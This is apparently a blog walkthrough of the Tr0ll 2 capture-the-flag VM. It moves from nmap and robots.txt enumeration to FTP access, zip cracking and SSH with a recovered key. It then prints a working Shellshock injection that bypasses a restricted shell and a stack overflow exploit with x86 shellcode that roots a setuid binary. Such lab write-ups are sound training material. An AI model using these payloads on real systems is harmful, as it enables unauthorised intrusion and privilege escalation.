Parzival's Security Blog : Troll 2 Walkthrough

Troll 2 Walkthrough:

Reconnaissance / Enumeration

Let's start with a basic nmap to the victim server.

nmap -A -sV -sC 192.168.1.77

nmap -A -sV -sC 192.168.1.77
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-26 12:42 PDT
Nmap scan report for 192.168.1.77
Host is up (0.00061s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open ftp     vsftpd 2.0.8 or later
22/tcp open ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA)
|   2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA)
|_ 256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA)
80/tcp open http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:63:02:FD (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.61 ms 192.168.1.77

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.25 seconds

Trying ftp anonymous login, I have failed.

Now, checking if this site has a robots.txt, I can see that there is.

Here is a list of files found in the robots.txt file.

Let's try noob and see what we get. It looks like a picture. Let's look deeper than what the surface has to present.

We get this trolled cat image in return. Wait! This might be steganography, so let us examine the picture a bit deeper. No. I couldn't find any details within the image, because this wasn't formed of steganography.

Let's try the dont_bother folder, and see what happens. An easier way to validate which robots.txt works is to see save a list of dictionary words into dirbuster and test each one of them out.

Don't read the previous walkthroughs because the creator might change solutions to test our ctf skills.

Deep within y0ur_self for the answer

Something weird I found within the dont_bother folder was y0ur_self might be a folder to something secretive. Let's test that out. It looks like we have a bunch of base64 encoded password lists.

First, we must download the text file onto our computer.

wget http://192.168.1.77/y0ur_self/answer.txt

Next, we must decode the list and make a password list out of it.

Looking back at the source of http://192.168.1.77/, we can see that there are some clues that can lead us back to finding the password for the ftp server.

They are:

username: Tr0ll

password: Tr0ll

Let's try that.

Let's try using those credentials for ftp.

Bingo! It worked for the ftp server.

Let's download lmao.zip and see what we get.

Unfortunately, it gets harder, because the zip file is locked.

Let's see what we can get out of the decoded base64 "password" file.

First, let's sort the file answerDecoded.txt by doing a:

cat answerDecoded.txt | sort

I will now use my python zip cracker program at: https://gist.github.com/natekhchan/841b8332e71aef3b4ae8049672f680bf to see whether I can crack the zip file.

I found the password to the file which is: ItCantReallyBeThisEasyRightLOL

Once cracked, there is a noob file which is a RSA private key.

We get a private key like this.

We also can do a chmod 600 to make the RSA key readable to ssh.

We then, do an ssh noob@192.168.1.77 -i noob

root@kali:~/Desktop/troll2# chmod 600 noob
root@kali:~/Desktop/troll2# ssh noob@192.168.56.101 -i noob
TRY HARDER LOL!
Connection to 192.168.56.101 closed.

We get back a message saying that the connection is closed.

But, there must be some sort of something that is wrong with .bashrc that makes it echo TRY HARDER LOL!

Let's see if the server is vulnerable to BASH Shellshock injection? It is indeed.

root@kali:~# ssh noob@192.168.1.77 -i noob -t '() { :;}; /bin/bash'
noob@Tr0ll2:~$ id
uid=1002(noob) gid=1002(noob) groups=1002(noob)

After logging in, we must upgrade the TTY python shell.

Here are the commands we have inputted and enumeration we have got.

noob@Tr0ll2:~$ ls

noob@Tr0ll2:~$ cd ..
noob@Tr0ll2:/home$ ls
maleus    noob tr0ll
noob@Tr0ll2:/home$ cd tr0ll
noob@Tr0ll2:/home/tr0ll$ ls
lmao.zip
noob@Tr0ll2:/home/tr0ll$ whoami
noob
noob@Tr0ll2:/home/tr0ll$ python -c 'import pty; pty.spawn("/bin/bash")'
noob@Tr0ll2:/home/tr0ll$ uname -a
Linux Tr0ll2 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux
noob@Tr0ll2:/home/tr0ll$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04.1 LTS"
noob@Tr0ll2:/home/tr0ll$ cd /
noob@Tr0ll2:/$ ls
noob@Tr0ll2:/$ cd /nothing_to_see_here/
noob@Tr0ll2:/nothing_to_see_here$ ls
choose_wisely
noob@Tr0ll2:/nothing_to_see_here$ cd choose_wisely/
noob@Tr0ll2:/nothing_to_see_here/choose_wisely$ ls
door1 door2 door3
noob@Tr0ll2:/nothing_to_see_here/choose_wisely$ cd door1
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ ls
r00t
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ cd ..
noob@Tr0ll2:/nothing_to_see_here/choose_wisely$ ls -la
total 20
drwsr-xr-x 5 root root 4096 Oct 4 2014 .
drwsr-xr-x 3 root root 4096 Jul 30 13:00 ..
drwsr-xr-x 2 root root 4096 Oct 5 2014 door1
drwsr-xr-x 2 root root 4096 Oct 4 2014 door2
drwsr-xr-x 2 root root 4096 Oct 5 2014 door3
noob@Tr0ll2:/nothing_to_see_here/choose_wisely$ du -sh *
16K    door1
12K    door2
12K    door3
noob@Tr0ll2:/nothing_to_see_here/choose_wisely$

Now, let use try fuzzing the number of A's it takes to create an Illegal Instruction pointer.

./r00t $(python -c 'print "A" *300')

That is when we can inject code into the process.

Now we found that the program stack pointer is at 0xbffffb70 after the segmentation fault. Now what that means is that at that memory location their are no more assembly instruction what we will do is write shellcode into that adjacent memory location that spawns a bash shell. I found the shellcode to spawn a bash shell from this website.

Program received signal SIGILL, Illegal instruction.

0xb7e45400 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
(gdb) i r esp
esp 0xbffffb70 0xbffffb70
(gdb)

In our code, let's also have "\x90" * 1000 as our NO OPS.

./r00t $(python -c 'print "A"*268 + "\x70\xfb\xff\xbf" + "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')

noob@Tr0ll2: id

a70354f0258dcc00292c72aab3c8b1e4

# id
uid=1002(noob) gid=1002(noob) euid=0(root) groups=0(root),1002(noob)

noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door3$ ./r00t $(python -c 'print "A"*268 + "\x70\xfb\xff\xbf" + "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp��# cd /root
# ls
Proof.txt core2 core4 hardmode ran_dir.py
core1 core3 goal lmao.zip reboot
# id
uid=1002(noob) gid=1002(noob) euid=0(root) groups=0(root),1002(noob)
# cat Proof.txt
You win this time young Jedi...

a70354f0258dcc00292c72aab3c8b1e4

Just r00ted tr0ll2. :) SUCCESS!! :)

Parzival's Security Blog

Sunday, August 4, 2019

Troll 2 Walkthrough

No comments:

Post a Comment

Troll 2 Walkthrough

Report Abuse